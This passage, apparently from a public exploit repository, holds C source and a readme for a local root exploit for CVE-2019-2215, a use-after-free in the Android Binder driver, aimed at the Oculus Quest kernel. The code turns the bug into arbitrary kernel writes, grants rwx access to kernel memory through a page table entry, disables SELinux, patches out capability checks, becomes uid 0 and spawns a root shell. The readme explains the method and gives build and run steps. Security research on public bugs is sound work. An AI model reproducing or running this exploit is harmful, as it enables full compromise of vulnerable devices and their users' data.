| uint64_t data_base; 157 | uint64_t mem_base; 158 | 159 | void 160 | read_kernel_base() 161 | { 162 | struct utsname uts; 163 | if (uname(&uts) != 0) { 164 | perror("uname"); 165 | exit(1); 166 | } 167 | for (int i = 0; i < sizeof(_offsets)/sizeof(_offsets[0]); i++) { 168 | if (!strcmp(uts.version, _offsets[i].version)) { 169 | gOffsets = &_offsets[i]; 170 | } 171 | } 172 | if (NULL == gOffsets) { 173 | printf("unknown version %s\n", uts.version); 174 | exit(1); 175 | } 176 | 177 | if (ocu) { 178 | unlink("/data/local/tmp/dmesg.txt"); 179 | system("dmesg | grep -E \"Virtual kernel\" -A 11 > /data/local/tmp/dmesg.txt"); 180 | } 181 | 182 | FILE *f = fopen("/data/local/tmp/dmesg.txt", "r"); 183 | if (!f) { 184 | printf("could not get dmesg output\n"); 185 | exit(2); 186 | } 187 | 188 | char buf[256]; 189 | memset(buf, 0, sizeof(buf)); 190 | char keep = 0x00; 191 | while (fgets(buf, sizeof(buf), f)) { 192 | char *p= NULL; 193 | if ((p=strstr(buf, ".text"))) { 194 | p = strstr(p, "0x"); 195 | text_base = strtoull(p, NULL, 16); 196 | } 197 | else if ((p=strstr(buf, ".data"))) { 198 | p = strstr(p, "0x"); 199 | data_base = strtoull(p, NULL, 16); 200 | } 201 | else if ((p=strstr(buf, "memory :"))) { 202 | p = strstr(p, "0x"); 203 | mem_base = strtoull(p, NULL, 16); 204 | } 205 | } 206 | fclose(f); 207 | unlink("/data/local/tmp/dmesg.txt"); 208 | 209 | printf("[+] kernel text base @ %lx data base @ %lx\n", text_base, data_base); 210 | } 211 | 212 | 213 | void force_thread(void) { 214 | /* 215 | TBD -> have a race here where the message might get processed, 216 | 217 | */ 218 | /* 219 | make thread->todo empty 220 | and thread->return_error as BR_OK 221 | and looper not BINDER_LOOPER_STATE_NEED_RETURN 222 | while also 223 | thread->transaction_stack != NULL 224 | 225 | list_add_tail(&t->work.entry, target_list); 226 | 227 | so after 1 msg we expect 228 | tcomplete->type = BINDER_WORK_TRANSACTION_COMPLETE; 229 | list_add_tail(&tcomplete->entry, &thread->todo); 230 | 231 | */ 232 | struct write_message wm; 233 | memset(&wm, 0, sizeof(wm)); 234 | struct binder_write_read bwr; 235 | memset(&bwr, 0, sizeof(bwr)); 236 | //write a reply to a non existant message 237 | bwr.write_size = 1; 238 | bwr.write_buffer = (uintptr_t)&wm; 239 | 240 | wm.cmd = BC_TRANSACTION; 241 | 242 | //note -> default handle being used (0) -> ctx_mgr 243 | wm.tr.data_size = 0; 244 | 245 | bwr.read_size = 4096; 246 | bwr.read_buffer = (uintptr_t)calloc(4096, 1); 247 | 248 | int ret = ioctl(binder_fd, BINDER_WRITE_READ, &bwr); 249 | if (ret != 0) err(1, "BINDER_WRITE_READ didnt work"); 250 | } 251 | 252 | int is_init = 0; 253 | void _kwrite(uint64_t address, uint64_t value) 254 | { 255 | if (!is_init) { 256 | dummy_page_4g_aligned = mmap((void*)0x100000000UL, 0x20000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 257 | if (dummy_page_4g_aligned != (void*)0x100000000UL) 258 | err(1, "mmap 4g aligned"); 259 | 260 | 261 | binder_fd = open("/dev/binder", O_RDONLY); 262 | 263 | thread_mmap(); 264 | 265 | if (!ocu) { 266 | //during testing -> binder needs a context manager 267 | int ret; 268 | ret = ioctl(binder_fd, BINDER_SET_CONTEXT_MGR, 0); 269 | printf("set ctxt mgr ioctl ret %d\n", ret); 270 | } 271 | 272 | epfd = epoll_create(1000); 273 | is_init = 1; 274 | } 275 | 276 | force_thread(); 277 | 278 | struct epoll_event event = { .events = EPOLLIN }; 279 | 280 | if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add"); 281 | 282 | void *page1337 = calloc(1, 4096); 283 | //because of the 1-offset we cant control from the spinlock-size 284 | //everything has to be slid by 1 byte/ 7 bytes 285 | 286 | uint64_t *x = (uint64_t *) (page1337 + 7); 287 | for(int i = 0; i < 4096/8; i++) { 288 | x[i] = 0x1337babe13370000 | i; 289 | } 290 | 291 | x[0x1f7] = address - 0x20; 292 | x[0x1f8] = 0; 293 | x[0x1f9] = 0; 294 | x[0x1fa] = 0; 295 | x[0x1fb] = value; 296 | 297 | uint64_t myiovec[FULL_BINDER_THREAD_SZ/sizeof(uint64_t)]; 298 | memset(myiovec, 0, sizeof(myiovec)); 299 | 300 | myiovec[0] = (uint64_t) dummy_page_4g_aligned; 301 | myiovec[1] = 0x10001; 302 | 303 | myiovec[2] = (uint64_t)page1337; 304 | myiovec[3] = 0x20; //overwrites iovec 305 | 306 | myiovec[4] = (uint64_t)page1337; 307 | myiovec[5] = 0x1000; //writes our data 308 | 309 | int b; 310 | 311 | int pipefd[2]; 312 | if (pipe(pipefd)) err(1, "pipe"); 313 | 314 | 315 | if (fcntl(pipefd[0], F_SETPIPE_SZ, 0x1000) != 0x1000) err(1, "pipe size"); 316 | static char page_buffer[0x1000]; 317 | 318 | pid_t fork_ret = fork(); 319 | if (fork_ret == -1) err(1, "fork"); 320 | if (fork_ret == 0) { 321 | /* Child process */ 322 | prctl(PR_SET_PDEATHSIG, SIGKILL); 323 | 324 | sleep(1); //wait for parent 325 | 326 | //smash the write dest 327 | printf("PARENT: Doing EPOLL_CTL_DEL.\n"); 328 | epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event); 329 | printf("PARENT: Finished EPOLL_CTL_DEL.\n"); 330 | 331 | b = writev(pipefd[1], (struct iovec *)myiovec, IOVEC_ARRAY_SZ); 332 | printf("child writev() returns 0x%x\n", (unsigned int)b); 333 | 334 | close(pipefd[1]); 335 | printf("CHILD: Finished write to FIFO.\n"); 336 | 337 | exit(0); 338 | } 339 | 340 | 341 | //call exit 342 | ioctl(binder_fd, BINDER_THREAD_EXIT, NULL); 343 | 344 | //have parent replace with *read* right away 345 | struct iovec iovec_array[IOVEC_ARRAY_SZ]; 346 | 347 | memset(iovec_array, 0, sizeof(iovec_array)); 348 | 349 | iovec_array[0].iov_base = dummy_page_4g_aligned; 350 | //fill up pipe a bit to force splitting across the incoming buffer 351 | //0x20 for the iovec overwrite and 0x1 for the offset 352 | 353 | iovec_array[0].iov_len = 0x1000 - 0x21; 354 | 355 | //4/5 get clobbered 356 | iovec_array[4].iov_base = dummy_page_4g_aligned; 357 | iovec_array[4].iov_len = 0; //spin lock - > 0x10001 358 | iovec_array[5].iov_base = dummy_page_4g_aligned; //smashed 359 | iovec_array[5].iov_len = 0x10001; //smashed 360 | 361 | //this overwrites the iovec 362 | iovec_array[6].iov_base = dummy_page_4g_aligned; 363 | iovec_array[6].iov_len = 0x20; //covers the iov write 364 | 365 | //this gets overwritten and will get smashed 366 | iovec_array[7].iov_base = dummy_page_4g_aligned; 367 | iovec_array[7].iov_len = 0x8; //NOTE, this determines *how much* is written in the smash 368 | 369 | b = readv(pipefd[0], iovec_array, IOVEC_ARRAY_SZ); 370 | printf("parent readv %x\n", b); 371 | 372 | int status; 373 | if (wait(&status) != fork_ret) err(1, "wait"); 374 | close(pipefd[0]); 375 | close(pipefd[1]); 376 | printf("PARENT: Finished calling READV\n"); 377 | } 378 | 379 | void kwrite(uint64_t address, uint64_t value) 380 | { 381 | int do_fork = 0; //... 382 | 383 | if (do_fork) { 384 | pid_t fork_ret = fork(); 385 | if (fork_ret == -1) err(1, "fork"); 386 | if (fork_ret == 0) { 387 | /* Child process */ 388 | _kwrite(address, value); 389 | //exit(0); 390 | } else { 391 | int status; 392 | if (wait(&status) != fork_ret) err(1, "wait"); 393 | } 394 | } else { 395 | _kwrite(address, value); 396 | printf("==\n"); 397 | } 398 | } 399 | 400 | 401 | uint64_t base; 402 | 403 | void pkwrite(uint64_t target, uint64_t value) { 404 | //set up base start @ 0x80000000; but text actually starts at +0x80000 from that 405 | //so to get to target we first want that delta 406 | uint64_t delta = (text_base - 0x80000); 407 | uint64_t *dest = (uint64_t *) ((target - delta) + base); 408 | *dest= value; 409 | } 410 | 411 | void pkwrite32(uint64_t target, uint32_t value) { 412 | //set up base start @ 0x80000000; but text actually starts at +0x80000 from that 413 | //so to get to target we first want that delta 414 | uint64_t delta = (text_base - 0x80000); 415 | uint32_t *dest = (uint32_t *) ((target - delta) + base); 416 | *dest = value; 417 | } 418 | 419 | void pkwrite8(uint64_t target, uint8_t value) { 420 | //set up base start @ 0x80000000; but text actually starts at +0x80000 from that 421 | //so to get to target we first want that delta 422 | uint64_t delta = (text_base - 0x80000); 423 | uint8_t *dest = (uint8_t *) ((target - delta) + base); 424 | *dest = value; 425 | } 426 | 427 | uint64_t pkread(uint64_t target) { 428 | //set up base start @ 0x80000000; but text actually starts at +0x80000 from that 429 | //so to get to target we first want that delta 430 | uint64_t delta = (text_base - 0x80000); 431 | uint64_t *src = (uint64_t *) ((target - delta) + base); 432 | return *src; 433 | } 434 | 435 | uint32_t pkread32(uint64_t target) { 436 | //set up base start @ 0x80000000; but text actually starts at +0x80000 from that 437 | //so to get to target we first want that delta 438 | uint64_t delta = (text_base - 0x80000); 439 | uint32_t *src = (uint32_t *) ((target - delta) + base); 440 | return *src; 441 | } 442 | 443 | uint8_t pkread8(uint64_t target) { 444 | //set up base start @ 0x80000000; but text actually starts at +0x80000 from that 445 | //so to get to target we first want that delta 446 | uint64_t delta = (text_base - 0x80000); 447 | uint8_t *src = (uint8_t *) ((target - delta) + base); 448 | return *src; 449 | } 450 | 451 | 452 | void patch32(uint64_t target, uint32_t oldval, uint32_t new_val) 453 | { 454 | uint32_t curval = pkread32(target); 455 | if (curval != oldval) { 456 | printf("[X] Warning, not patching @ %lx, saw %x expected %x\n", target, curval, oldval); 457 | } else { 458 | pkwrite32(target, new_val); 459 | } 460 | 461 | } 462 | 463 | void root() 464 | { 465 | //disable selinux 466 | uint64_t selinux_enable_addr = data_base + gOffsets->selinux_enable; 467 | uint64_t selinux_enforcing_addr = data_base + gOffsets->selinux_enforcing; 468 | 469 | printf("Before:\n"); 470 | printf("enable = %x\n", pkread32(selinux_enable_addr)); 471 | printf("enforcing = %x\n", pkread32(selinux_enforcing_addr)); 472 | 473 | pkwrite32(selinux_enable_addr, 0); 474 | pkwrite32(selinux_enforcing_addr, 0); 475 | 476 | printf("After:\n"); 477 | printf("enable = %x\n", pkread32(selinux_enable_addr)); 478 | printf("enforcing = %x\n", pkread32(selinux_enforcing_addr)); 479 | 480 | printf("patching cap_setcap() to always succeed\n"); 481 | patch32(text_base + gOffsets->setcap, 0x35000820, 0xd503201f); //nop 482 | 483 | patch32(text_base + gOffsets->setcap + 0x2c, 0x35000840, 0xd503201f); // 484 | patch32(text_base + gOffsets->setcap + 0x30, 0x35000821, 0xd503201f); //nop checks 485 | 486 | patch32(text_base + gOffsets->setcap + 0x4c, 0x35000741, 0xd503201f); // 487 | patch32(text_base + gOffsets->setcap + 0x50, 0x35000734, 0xd503201f); //nop checks 488 | 489 | patch32(text_base + gOffsets->setcap + 0x68, 0x35000660, 0xd503201f); // 490 | patch32(text_base + gOffsets->setcap + 0x6c, 0x35000641, 0xd503201f); //nop checks 491 | 492 | struct __user_cap_header_struct capheader; 493 | struct __user_cap_data_struct capdata[2]; 494 | 495 | memset(&capheader, 0, sizeof(capheader)); 496 | memset(&capdata, 0, sizeof(capdata)); 497 | capheader.version = _LINUX_CAPABILITY_VERSION_3; 498 | capdata[0].effective = 0xffffffff; 499 | capdata[0].permitted = 0xffffffffL; 500 | capdata[0].inheritable = 0xffffffffL; 501 | capdata[1].effective = 0x3f; 502 | capdata[1].permitted = 0x3f; 503 | capdata[1].inheritable = 0x3f; 504 | if (capset(&capheader, &capdata[0]) < 0) { 505 | printf("Could not set capabilities: %s\n", strerror(errno)); 506 | } else { 507 | printf("[+] capset happy.\n"); 508 | } 509 | 510 | 511 | int ret; 512 | ret = setresuid(0, 0, 0); 513 | printf("setresuid returned %d\n", ret); 514 | 515 | ret = setresgid(0, 0, 0); 516 | printf("setresgid returned %d\n", ret); 517 | printf("spawning shell\n"); 518 | 519 | system("echo 0 > /proc/sys/kernel/kptr_restrict"); 520 | system("sh"); 521 | } 522 | 523 | int main(int argc, char *argv[]) { 524 | printf("Starting POC\n"); 525 | 526 | ocu = !(getuid() == 0); 527 | 528 | read_kernel_base(); 529 | 530 | base = 0xfffffff800000000; 531 | uint64_t index = (base & ~0xffffff8000000000)>>30; 532 | printf("index %lu\n", index); 533 | 534 | uint64_t target = data_base + gOffsets->swapper + index*8; 535 | uint64_t value = 0x751 + (0x00e8000000000000); 536 | value += (0x80000000); //fixed physmem address 537 | 538 | if(!argv[1]) { 539 | kwrite(target, value); 540 | printf("wrote 0x%lx @ 0x%lx\n", value, target); 541 | printf("kwrite done\n"); 542 | } 543 | printf("memory test\n"); 544 | 545 | uint64_t *addr = (uint64_t *) (base + (argv[1] ? strtoull(argv[1],0,0) : 0)); 546 | printf("try to read @ %p. Rerun if this crashes\n", addr); 547 | fflush(NULL); 548 | printf("read %p -> %lx\n", addr, *addr); 549 | 550 | //base now points to the start of physical memory where .text is 551 | //can write up to 1gb (1<<30) with this method 552 | //data @ + 0x200000 553 | 554 | root(); 555 | return 0; 556 | } 557 | -------------------------------------------------------------------------------- /CVE-2019-2215_BinderThreadUaf/readme.md: -------------------------------------------------------------------------------- 1 | This folder contains an exploit for CVE-2019-2215, exploiting a bug in Binder (RIP BeOS) 2 | 3 | The quest linux kernel code can be pulled from https://github.com/facebookincubator/oculus-linux-kernel. 4 | 5 | The Oculus Quest is vulnerable up to version 3965200061700000. This and other vulnerabilites were patched by https://github.com/facebookincubator/oculus-linux-kernel/commit/84f9a63a81a226cc5e8c7c071a5cd077ef6445a3 6 | 7 | Although this tree is based on MSM 4.4, it is not current and contained this vulnerability among others. The MSM 4.4 tree brought in the fix in early/mid 2018 from upstream. The bug was found by syzkaller in early 2018. The P0 post linked to below covers how the fix was not included in Wahoo since it did not get a CVE at the time. It's suspected that this was being exploited in the wild by the NSO group. Facebook is coincidentally suing NSO right now regarding that matter. 8 | 9 | 10 | The binder bug is a fairly trivial UAF. In the vulnerable versions of the driver, it's possible to use epoll() to wait on events from a binder client, but the driver also allows clients to release the underlying data structure that epoll is waiting from/to. When releaing the epoll it will mangle the lock in the released buffer. 11 | 12 | For exploitation, the P0 PoC uses a method that exploits in-flight IOVEC structures (see https://bugs.chromium.org/p/project-zero/issues/detail?id=1942). 13 | 14 | This method was previously published by Di Shen at KeenLab (https://www.blackhat.com/docs/eu-16/materials/eu-16-Shen-Rooting-Every-Android-From-Extension-To-Exploitation-wp.pdf) 15 | 16 | This exploit applies the same method. The in-flight iovecs are flexible -- they can be allocated at variable lengths for matching the size of any Use-After-Free. 17 | 18 | It's also possible to use blocking and other features on pipes and sockets to modify state in a controlled manner. Smashing data in the iovec can be used for arbitrary reads as well as arbitrary writes. 19 | 20 | In the P0 PoC, a pointer to the current task's 'task_struct' happens to lie at the end of the binder_thread, and that exploit reads it out before writing to it. For the Oculus tree, the binder code is much older and doesn't contain that member variable. 21 | 22 | The way the UAF corruption works with epoll also lends well for exploitation. When epoll's reference to the thread is released, the spinlock routines will leave behind a self-referential pointer. This can be used to create a write into the iovec to update the in-flight structure with arbitrary values. 23 | 24 | For this exploit the flow for the corruption is to: 25 | 26 | - Create the UAF condition 27 | - Trigger the corruption, leaving behind the self referencing pointer in the IOVEC 28 | - Write an arbitrary destination (in this case the TTBR1 page table entry) 29 | - Write an 8-byte value to that destination (rwx/rwx permissions to kernel physical memory) 30 | 31 | This lets every linux process have rwx/rwx memory access to kernel memory. 32 | 33 | The version of the binder driver in the quest kernel had a further complication as well. Without a transaction ready to read, the poll will happen on a 'binder_proc' structure, and not a 'binder_thread'. Theres no BINDER_PROC_EXIT, as there is with BINDER_THREAD_EXIT. The exploit runs some code in force_thread() to set up the binder thread to poll 34 | on the correct data structure. 35 | 36 | ==== 37 | 38 | Compile this with an aarch64 android toolkit, and run it from /data/local/tmp/; 39 | 40 | while true; do /data/local/tmp/exploit; done 41 | 42 | 43 | --------------------------------------------------------------------------------